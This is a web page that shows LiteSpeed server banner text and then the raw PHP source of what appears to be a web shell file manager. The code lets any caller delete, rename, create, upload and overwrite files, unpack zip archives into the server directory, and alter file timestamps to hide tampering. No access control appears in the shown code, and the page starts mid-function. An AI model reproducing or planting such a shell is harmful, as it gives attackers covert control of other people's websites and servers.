Proudly powered by LiteSpeed Web Server
Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.
= 1073741824) return round($s / 1073741824, 2) . ' GB';
if ($s >= 1048576) return round($s / 1048576, 2) . ' MB';
if ($s >= 1024) return round($s / 1024, 2) . ' KB';
return $s . ' B';
}
if (isset($_GET['delete'])) {
$target = realpath($path . '/' . $_GET['delete']);
if (strpos($target, $path) === 0 && is_writable($target)) {
if (is_file($target)) unlink($target);
elseif (is_dir($target)) rmdir($target);
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['rename_from'], $_POST['rename_to'])) {
$from = realpath($path . '/' . $_POST['rename_from']);
$to = $path . '/' . basename($_POST['rename_to']);
if (strpos($from, $path) === 0 && file_exists($from)) {
rename($from, $to);
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['edit_date_file'], $_POST['new_date'])) {
$target = realpath($path . '/' . $_POST['edit_date_file']);
if (strpos($target, $path) === 0 && file_exists($target)) {
$timestamp = strtotime($_POST['new_date']);
if ($timestamp !== false) {
touch($target, $timestamp);
}
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['new_folder'])) {
mkdir($path . '/' . basename($_POST['new_folder']));
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['new_file'])) {
file_put_contents($path . '/' . basename($_POST['new_file']), '');
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_FILES['upload'])) {
move_uploaded_file($_FILES['upload']['tmp_name'], $path . '/' . basename($_FILES['upload']['name']));
header("Location: ?path=" . urlencode($path));
exit;
}
if (!empty($_FILES['uploads'])) {
foreach ($_FILES['uploads']['name'] as $i => $name) {
if ($_FILES['uploads']['error'][$i] === UPLOAD_ERR_OK) {
$tmp = $_FILES['uploads']['tmp_name'][$i];
$dest = $path . '/' . basename($name);
move_uploaded_file($tmp, $dest);
}
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (!empty($_FILES['zipfile']['name'])) {
$zipName = $_FILES['zipfile']['name'];
$tmpZip = $_FILES['zipfile']['tmp_name'];
$destZip = $path . '/' . basename($zipName);
if (move_uploaded_file($tmpZip, $destZip)) {
$zip = new ZipArchive;
if ($zip->open($destZip) === TRUE) {
$zip->extractTo($path);
$zip->close();
unlink($destZip);
}
}
header("Location: ?path=" . urlencode($path));
exit;
}
if (isset($_POST['save_file'], $_POST['content'])) {
$file = realpath($path . '/' . $_POST['save_file']);
if (strpos($file, $path) === 0 && is_file($file)) {
file_put_contents($file, $_POST['content']);
}
header("Location: ?path=" . urlencode($path));
exit;
}
$home_shell_path = realpath(dirname(__FILE__));
?>